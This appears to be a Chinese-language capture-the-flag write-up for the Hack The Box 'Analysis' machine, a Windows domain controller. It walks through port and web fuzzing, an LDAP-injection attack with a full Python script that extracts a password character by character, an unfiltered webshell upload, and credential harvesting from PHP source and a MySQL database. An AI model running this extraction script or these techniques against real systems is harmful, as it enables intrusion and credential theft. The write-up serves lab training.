Analysis
user
nmap
➜ ~ nmap -A 10.10.11.250
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-23 21:57 CST
Nmap scan report for localhost (10.10.11.250)
Host is up (0.14s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-01-23 13:57:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/23%Time=65AFC5D3%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-01-23T14:00:10
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 315.90 seconds
是一台windows机器,开放了88端口,估计是域控
把域名加入hosts文件
analysis.htb
crackmapexec
┌──(kali㉿kali)-[~/HTB/tools]
└─$ crackmapexec smb analysis.htb -u 'guest' -p '' --rid-brute 10000
SMB analysis.htb 445 DC-ANALYSIS [*] Windows 10.0 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\guest: STATUS_LOGON_FAILURE
没什么有用的信息
web
internal
➜ ~ gobuster vhost --append-domain -u http://analysis.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://analysis.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.analysis.htb Status: 403 [Size: 1268]
发现了一个新的子域名**internal.analysis.htb,**加入hosts文件
➜ ~ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/FUZZ -v -recursion -recursion-depth 2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 297ms]
| URL | http://internal.analysis.htb/dashboard
| --> | http://internal.analysis.htb/dashboard/
* FUZZ: dashboard
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/FUZZ
[Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 226ms]
| URL | http://internal.analysis.htb/employees
| --> | http://internal.analysis.htb/employees/
* FUZZ: employees
[INFO] Adding a new job to the queue: http://internal.analysis.htb/employees/FUZZ
[Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 985ms]
| URL | http://internal.analysis.htb/users
| --> | http://internal.analysis.htb/users/
* FUZZ: users
[INFO] Adding a new job to the queue: http://internal.analysis.htb/users/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/FUZZ
[Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 139ms]
| URL | http://internal.analysis.htb/dashboard/css
| --> | http://internal.analysis.htb/dashboard/css/
* FUZZ: css
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/css/FUZZ
[Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 128ms]
| URL | http://internal.analysis.htb/dashboard/index.php
* FUZZ: index.php
[Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 490ms]
| URL | http://internal.analysis.htb/dashboard/img
| --> | http://internal.analysis.htb/dashboard/img/
* FUZZ: img
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/img/FUZZ
[Status: 301, Size: 177, Words: 9, Lines: 2, Duration: 145ms]
| URL | http://internal.analysis.htb/dashboard/js
| --> | http://internal.analysis.htb/dashboard/js/
* FUZZ: js
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/js/FUZZ
[Status: 301, Size: 178, Words: 9, Lines: 2, Duration: 131ms]
| URL | http://internal.analysis.htb/dashboard/lib
| --> | http://internal.analysis.htb/dashboard/lib/
* FUZZ: lib
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/lib/FUZZ
[Status: 301, Size: 182, Words: 9, Lines: 2, Duration: 132ms]
| URL | http://internal.analysis.htb/dashboard/uploads
| --> | http://internal.analysis.htb/dashboard/uploads/
* FUZZ: uploads
[INFO] Adding a new job to the queue: http://internal.analysis.htb/dashboard/uploads/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/employees/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/users/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/css/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/img/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/js/FUZZ
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/lib/FUZZ
[Status: 301, Size: 184, Words: 9, Lines: 2, Duration: 140ms]
| URL | http://internal.analysis.htb/dashboard/lib/chart
| --> | http://internal.analysis.htb/dashboard/lib/chart/
* FUZZ: chart
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://internal.analysis.htb/dashboard/lib/chart/
[INFO] Starting queued job on target: http://internal.analysis.htb/dashboard/uploads/FUZZ
[Status: 200, Size: 178, Words: 20, Lines: 3, Duration: 2228ms]
| URL | http://internal.analysis.htb/dashboard/uploads/info.php
* FUZZ: info.php
枚举了一些文件,存在php,说明可以解析php
进一步枚举
把现在存在的目录作为一个字典,再用常见php文件作为第二个字典
ffuf
➜ Analysis ffuf -c -w /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt:VAL -w dict:PAR -u http://internal.analysis.htb/PAR/VAL
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/PAR/VAL
:: Wordlist : VAL: /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
:: Wordlist : PAR: /home/pwn/htb/machine/SessionIV/Analysis/dict
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 17, Words: 2, Lines: 1, Duration: 169ms]
* PAR: users
* VAL: list.php
[Status: 200, Size: 17, Words: 2, Lines: 1, Duration: 201ms]
* PAR: users
* VAL: List.php
[Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 177ms]
* PAR: dashboard
* VAL: form.php
[Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 1281ms]
* PAR: dashboard
* VAL: index.php
[Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 699ms]
* PAR: dashboard
* VAL: logout.php
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2944ms]
* PAR: dashboard
* VAL: upload.php
[Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 756ms]
* PAR: dashboard
* VAL: details.php
[Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 164ms]
* PAR: dashboard
* VAL: Index.php
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 127ms]
* PAR: dashboard
* VAL: Upload.php
[Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 129ms]
* PAR: dashboard
* VAL: Form.php
[Status: 200, Size: 69276, Words: 3254, Lines: 736, Duration: 197ms]
* PAR: dashboard/uploads/
* VAL: php.php
[Status: 200, Size: 178, Words: 20, Lines: 3, Duration: 1179ms]
* PAR: dashboard/uploads/
* VAL: info.php
[Status: 200, Size: 1085, Words: 413, Lines: 30, Duration: 199ms]
* PAR: employees
* VAL: login.php
[Status: 200, Size: 1085, Words: 413, Lines: 30, Duration: 160ms]
* PAR: employees
* VAL: Login.php
[Status: 200, Size: 1085, Words: 413, Lines: 30, Duration: 178ms]
* PAR: employees
* VAL: LogIn.php
:: Progress: [30978/30978] :: Job [1/1] :: 13 req/sec :: Duration: [0:09:47] :: Errors: 7 ::
dashboard/index.php
dashboard/Upload.php
dashboard/Form.php
dashboard/uploads/php.php
dashboard/uploads/info.php
employees/Login.php
employees/Logout.php
users/list.php
整理出来这些路径
C:\inetpub\internal\dashboard\uploads\php.php #web 根路径
尝试使用sqlmap 进行注入尝试,无果
users/list.php
页面显示缺失参数,fuzz 参数,成功fuzz出参数为 name
➜ Analysis ffuf -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://internal.analysis.htb/users/list.php?FUZZ=1" -fs 17
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/users/list.php?FUZZ=1
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 17
________________________________________________
name [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 3367ms]
:: Progress: [6453/6453] :: Job [1/1] :: 229 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
ldap-inject
感觉有注入,在结合windows机器,和回显内容输出的用户的信息,可能是ldap 注入
Referer:https://book.hacktricks.xyz/pentesting-web/ldap-injection
这个其实就是 通配符可以有效匹配,和nosql 注入很像
首先,让我们先看一个标准的LDAP查询。假设我们的目标是查找用户名为"John"与密码为"pass"的用户,那么查询可能是这样的:
plaintext
"(&(uid=John)(userPassword=pass))"
在这个查询中,& 表示的是逻辑“AND”操作,uid=John 和 userPassword=pass 就是我们的查询条件。这个查询的含义是:找到在LDAP目录中,用户名为"John"且密码为"pass"的用户。
现在,假设我们的查询是基于用户的输入构建的,也就是说,"John" 和 "pass" 是用户输入的数据。如果一个攻击者提供了特殊的输入值,如 admin)(&) 作为用户名,那么结果的查询会变成:
plaintext
"(&(uid=admin)(&)(userPassword=pass))"
在这个查询中,你可以看到用户名和密码条件被拆开了,admin)(&) 打破了原有的括号结构,从而形成了两个独立的查询,一个是寻找用户名为 admin 的用户,另一个是寻找密码为 pass 的用户。由于 "&" 是逻辑的 "AND" 操作,这个查询的含义变成了:找到在LDAP目录中,用户名为"admin"的用户、且找到密码为"pass"的用户,也就意味着攻击者可以随意指定用户名进行查询,造成了身份验证的绕过。
通过枚举名字开头字符
获取到下面的用户名列表
| username
| LastName | FirstNam |
| — | — | — |
| amanson | manson | andrew |
| badam | adam | barry |
| technician | | technician |
| jangel | johnson | angel |
| lzen | zen | liam |
username:LastName:FirstName
amanson:manson:andrew
badam:adam:barry
technician::technician
jangel:johnson:angel
lzen:zen:liam
继续枚举,我们想要枚举出密码,首先得知道密码的属性名,所以密码属性名也得fuzz(可以理解为sql注入中的字段名)
➜ Analysis ffuf -c -w /usr/share/seclists/Fuzzing/LDAP-openldap-attributes.txt -u "http://internal.analysis.htb/users/list.php?name=technician)(FUZZ=*" -fs 406,8
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/users/list.php?name=technician)(FUZZ=*
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LDAP-openldap-attributes.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 406,8
________________________________________________
accountExpires [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 311ms]
badPwdCount [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 256ms]
badPasswordTime [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 259ms]
countryCode [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 224ms]
cn [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 330ms]
codePage [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 335ms]
createTimestamp [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 302ms]
description [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 467ms]
displayName [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 556ms]
distinguishedName [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 548ms]
dSCorePropagationData [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 137ms]
givenName [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 141ms]
instanceType [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 276ms]
lastLogoff [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 308ms]
lastLogon [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 312ms]
lastLogonTimestamp [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 602ms]
logonCount [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 436ms]
modifyTimestamp [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 359ms]
msDS-parentdistname [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 319ms]
name [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 397ms]
objectSid [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 293ms]
objectGUID [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 293ms]
nTSecurityDescriptor [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 402ms]
objectCategory [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 407ms]
objectClass [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 414ms]
primaryGroupID [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 437ms]
pwdLastSet [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 459ms]
replPropertyMetaData [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 108ms]
sAMAccountType [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 330ms]
sAMAccountName [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 330ms]
userPrincipalName [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 383ms]
uSNCreated [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 372ms]
uSNChanged [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 432ms]
userAccountControl [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 478ms]
whenCreated [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 159ms]
whenChanged [Status: 200, Size: 418, Words: 11, Lines: 1, Duration: 161ms]
:: Progress: [1342/1342] :: Job [1/1] :: 144 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
枚举出这么多的属性
我们依次枚举这些属性的内容
accountExpires
badPwdCount
badPasswordTime
countryCode
cn
codePage
createTimestamp
description
displayName
distinguishedName
dSCorePropagationData
givenName
instanceType
lastLogoff
lastLogon
lastLogonTimestamp
logonCount
modifyTimestamp
msDS-parentdistname
name
objectSid
objectGUID
nTSecurityDescriptor
objectCategory
objectClass
primaryGroupID
pwdLastSet
replPropertyMetaData
sAMAccountType
sAMAccountName
userPrincipalName
uSNCreated
uSNChanged
userAccountControl
whenCreated
whenChanged
ldapfield.py
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "127.0.0.1:8080" }
url = "http://internal.analysis.htb/users/list.php"
alphabet = "_@{}-/()!\"$%=^[]:" + string.digits + string.ascii_letters + ";"
#attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
a = "accountExpires,badPwdCount,badPasswordTime,countryCode,cn,codePage,createTimestamp,description,displayName,distinguishedName,dSCorePropagationData,givenName,instanceType,lastLogoff,lastLogon,lastLogonTimestamp,logonCount,modifyTimestamp,msDS-parentdistname,name,objectSid,objectGUID,nTSecurityDescriptor,objectCategory,objectClass,primaryGroupID,pwdLastSet,replPropertyMetaData,sAMAccountType,sAMAccountName,userPrincipalName,uSNCreated,uSNChanged,userAccountControl,whenCreated,whenChanged"
attributes = a.split(",")
users = "technician,amanson,badam,jangel,lzen".split(",")
for user in users:
print(f"Now user : {user}")
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"{user})({attribute}={value}{char}*"
u = url + f'?name={query}'
r = requests.get(u,proxies=proxy )
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if f"{user}" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
print("\n\n")
通过这个脚本依次枚举,每个用户的属
┌──(kali㉿kali)-[~/HTB/machine/Analysis]
└─$ python3 ldapfield.py
Now user : technician
accountExpires: ;
badPwdCount: ;
badPasswordTime: ;
countryCode: ;
cn: technician;
codePage: ;
createTimestamp: ;
description: 97NTtl;
displayName: ;
distinguishedName: ;
dSCorePropagationData: ;
givenName: ;
instanceType: ;
lastLogoff: ;
lastLogon: ;
lastLogonTimestamp: ;
logonCount: ;
modifyTimestamp: ;
msDS-parentdistname: ;
name: ;
objectSid: ;
objectGUID: ;
nTSecurityDescriptor: ;
objectCategory: ;
objectClass: ;
primaryGroupID: ;
pwdLastSet: ;
replPropertyMetaData: ;
sAMAccountType: ;
sAMAccountName: ;
userPrincipalName: ;
uSNCreated: ;
uSNChanged: ;
userAccountControl: ;
whenCreated: ;
whenChanged: ;
description : 97NTtl
可以发现只有description 有值
description
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "127.0.0.1:8080" }
url = "http://internal.analysis.htb/users/list.php"
alphabet = "_@{}-/()!\"$%=^[]:*" + string.digits + string.ascii_letters + ";"
#attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager",
"password", "sn", "st", "surname", "uid", "username", "userPassword",]
a= "description"
attributes = a.split(",")
users = "technician,amanson,badam,jangel,lzen".split(",")
for user in users:
skip_count = 6 # first 6 char is 97NTtl
add_star = True
print(f"Now user : {user}")
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"{user})({attribute}={value}{char}*"
u = url + f'?name={query}'
r = requests.get(u,proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if '*' in char and skip_count>0:
skip_count -= 1
continue
if '*' in char and add_star :
value += str(char)
add_star = False
break
if f"{user}" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
print("\n\n")
修改只爆破description的脚本,一开始爆破只有6位感觉不对劲,感觉可能是密码带有 * 号,hacktrick给的脚本是不爆破 * 号的加上了这个逻辑,这个逻辑默认最多密码中含有一个*
Now user : technician
description: 97NTtl*4QP96Bv;
Now user : amanson
description: ;
Now user : badam
description: ;
Now user : jangel
description: ;
Now user : lzen
description: ;
technician@analysis.htb : 97NTtl*4QP96Bv 这个凭证成功登录
webshell
这里上传,直接上传webshell,无过滤
通过webshell 上线 msf
C:\inetpub\internal\dashboard\uploads>whoami /all
whoami /all
Informations sur l'utilisateur
------------------------
Nom d'utilisateur SID
================= =============================================
analysis\svc_web S-1-5-21-916175351-3772503854-3498620144-2101
Informations de groupe
----------------------
Nom du groupe Type SID Attributs
=================================================== ================= ============================================================= ====================================================
Tout le monde Groupe bien connu S-1-1-0 Groupe obligatoire, Activ par dfaut, Groupe activ
BUILTIN\Utilisateurs Alias S-1-5-32-545 Groupe obligatoire, Activ par dfaut, Groupe activ
BUILTIN\Accs compatible pr-Windows 2000 Alias S-1-5-32-554 Groupe obligatoire, Activ par dfaut, Groupe activ
AUTORITE NT\TACHE Groupe bien connu S-1-5-3 Groupe obligatoire, Activ par dfaut, Groupe activ
OUVERTURE DE SESSION DE CONSOLE Groupe bien connu S-1-2-1 Groupe obligatoire, Activ par dfaut, Groupe activ
AUTORITE NT\Utilisateurs authentifis Groupe bien connu S-1-5-11 Groupe obligatoire, Activ par dfaut, Groupe activ
AUTORITE NT\Cette organisation Groupe bien connu S-1-5-15 Groupe obligatoire, Activ par dfaut, Groupe activ
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Groupe obligatoire, Activ par dfaut, Groupe activ
LOCAL Groupe bien connu S-1-2-0 Groupe obligatoire, Activ par dfaut, Groupe activ
IIS APPPOOL\internal Groupe bien connu S-1-5-82-780022665-423385827-2835031938-1607344665-2144950284 Groupe obligatoire, Activ par dfaut, Groupe activ
AUTORITE NT\Authentifications NTLM Groupe bien connu S-1-5-64-10 Groupe obligatoire, Activ par dfaut, Groupe activ
tiquette obligatoire\Niveau obligatoire moyen plus Nom S-1-16-8448
Informations de privilges
----------------------
Nom de privilge Description tat
============================= =============================================== =========
SeIncreaseQuotaPrivilege Ajuster les quotas de mmoire pour un processus Dsactiv
SeMachineAccountPrivilege Ajouter des stations de travail au domaine Dsactiv
SeAuditPrivilege Gnrer des audits de scurit Dsactiv
SeChangeNotifyPrivilege Contourner la vrification de parcours Activ
SeIncreaseWorkingSetPrivilege Augmenter une plage de travail de processus Dsactiv
INFORMATIONS SUR LES REVENDICATIONS DE L'UTILISATEUR
----------------------------------------------------
Revendications d'utilisateur inconnues.
La prise en charge Kerberos pour le contrle d'accs dynamique sur ce priphrique a t dsactiv.
C:\inetpub\internal\dashboard\uploads>net user
net user
comptes d'utilisateurs de \\DC-ANALYSIS
-------------------------------------------------------------------------------
Administrateur amanson badam
cwilliams Invit jangel
jdoe krbtgt lzen
soc_analyst svc_web technician
webservice wsmith
La commande s'est termine correctement.
C:\inetpub\internal\dashboard\uploads>
读取login.php 拿到mysql的数据库密码
C:\inetpub\internal\employees>type login.php
type login.php
<?php
$host = "localhost";
$username = "db_master";
$password = '0$TBO7H8s12yh&';
$database = "employees";
┌──(root㉿kali)-[/home/…/HTB/tools/chisel/windows]
└─# proxychains mysql -h 127.0.0.1 -u db_master -p
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Enter password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:3306 ... OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 34
Server version: 8.0.33 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| employees |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.157 sec)
MySQL [(none)]> use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [employees]> show tables;
+---------------------+
| Tables_in_employees |
+---------------------+
| members |
+---------------------+
1 row in set (0.142 sec)
MySQL [employees]> select * from members;
+----+---------------------+-----------+-------------------------+----------------+
| id | name | nick_name | email | password |
+----+---------------------+-----------+-------------------------+----------------+
| 1 | hospital_technician | hosptech | technician@analysis.htb | 97NTtl*4QP96Bv |
+----+---------------------+-----------+-------------------------+----------------+
1 row in set (0.151 sec)
MySQL [employees]>
尝试搭建代理,读取数据库中凭证,发现就这一个
C:\inetpub\internal\users>type list.php
type list.php
<?php
//LDAP Bind paramters, need to be a normal AD User account.
error_reporting(0);
$ldap_password = 'N1G6G46G@G!j';
$ldap_username = 'webservice@analysis.htb';
$ldap_connection = ldap_connect("analysis.htb");
if(isset($_GET['name'])){
if (FALSE === $ldap_connection) {
// Uh-oh, something is wrong...
echo 'Unable to connect to the ldap server';
}
// We have to set this option for the version of Active Directory we are using.
ldap_set_option($ldap_connection, LDAP_OPT_PROTOCOL_VERSION, 3) or die('Unable to set LDAP protocol version');
ldap_set_option($ldap_connection, LDAP_OPT_REFERRALS, 0); // We need this for doing an LDAP search.
if (TRUE === ldap_bind($ldap_connection, $ldap_username, $ldap_password)) {
//Your domains DN to query
$ldap_base_dn = 'OU=sysadmins,DC=analysis,DC=htb';
//Get standard users and contacts
$search_filter = '(&(objectCategory=person)(objectClass=user)(sAMAccountName='.$_GET['name'].'))';
//Connect to LDAP
$result = ldap_search($ldap_connection, $ldap_base_dn, $search_filter);
if (FALSE !== $result) {
$entries = ldap_get_entries($ldap_connection, $result);
// Uncomment the below if you want to write all entries to debug somethingthing
//var_dump($entries);
//Create a table to display the output
echo '<h2>Search result</h2></br>';
echo '<table border = "1"><tr bgcolor="#cccccc"><td>Username</td><td>Last Name</td><td>First Name</td><td>Company</td><td>Department</td><td>Office Phone</td><td>Fax</td><td>Mobile</td><td>DDI</td><td>E-Mail Address</td><td>Home Phone</td></tr>';
//For each account returned by the search
//
//Retrieve values from Active Directory
//
//Windows Usernaame
$LDAP_samaccountname = "";
$x=0;
$counter = 1;
if (!empty($entries[$x]['samaccountname'][0])) {
$LDAP_samaccountname = $entries[$x]['samaccountname'][0];
if ($LDAP_samaccountname == "NULL") {
$LDAP_samaccountname = "";
}
if (strpos($_GET['name'], 'description=') !== false) {
$start = strpos($_GET["name"], 'description=');
$start += strlen("description=");
$end = strrpos($_GET["name"], '*');
$password = substr($_GET["name"], $start, $end - $start);
$length = strlen($password);
for ($i = 0; $i < $length; $i++) {
if($entries[$x]['description'][0][$i] != $password[$i]) {
$LDAP_uSNCreated = $entries[$x]['usncreated'][0];
$LDAP_samaccountname = "CONTACT_";
$counter = 0;
break;
}
}
}
} else {
//#There is no samaccountname s0 assume this is an AD contact record so generate a unique username
$LDAP_uSNCreated = $entries[$x]['usncreated'][0];
$LDAP_samaccountname = "CONTACT_" . $LDAP_uSNCreated;
}
//Last Name
$LDAP_LastName = "";
if (!empty($entries[$x]['sn'][0])) {
$LDAP_LastName = $entries[$x]['sn'][0];
if ($LDAP_LastName == "NULL") {
$LDAP_LastName = "";
}
}
//First Name
$LDAP_FirstName = "";
if (!empty($entries[$x]['givenname'][0]) and $counter == 1) {
$LDAP_FirstName = $entries[$x]['givenname'][0];
if ($LDAP_FirstName == "NULL") {
$LDAP_FirstName = "";
}
}
//Company
$LDAP_CompanyName = "";
if (!empty($entries[$x]['company'][0])) {
$LDAP_CompanyName = $entries[$x]['company'][0];
if ($LDAP_CompanyName == "NULL") {
$LDAP_CompanyName = "";
}
}
//Department
$LDAP_Department = "";
if (!empty($entries[$x]['department'][0])) {
$LDAP_Department = $entries[$x]['department'][0];
if ($LDAP_Department == "NULL") {
$LDAP_Department = "";
}
}
//Job Title
$LDAP_JobTitle = "";
if (!empty($entries[$x]['title'][0])) {
$LDAP_JobTitle = $entries[$x]['title'][0];
if ($LDAP_JobTitle == "NULL") {
$LDAP_JobTitle = "";
}
}
//IPPhone
$LDAP_OfficePhone = "";
if (!empty($entries[$x]['ipphone'][0])) {
$LDAP_OfficePhone = $entries[$x]['ipphone'][0];
if ($LDAP_OfficePhone == "NULL") {
$LDAP_OfficePhone = "";
}
}
//FAX Number
$LDAP_OfficeFax = "";
if (!empty($entries[$x]['facsimiletelephonenumber'][0])) {
$LDAP_OfficeFax = $entries[$x]['facsimiletelephonenumber'][0];
if ($LDAP_OfficeFax == "NULL") {
$LDAP_OfficeFax = "";
}
}
//Mobile Number
$LDAP_CellPhone = "";
if (!empty($entries[$x]['mobile'][0])) {
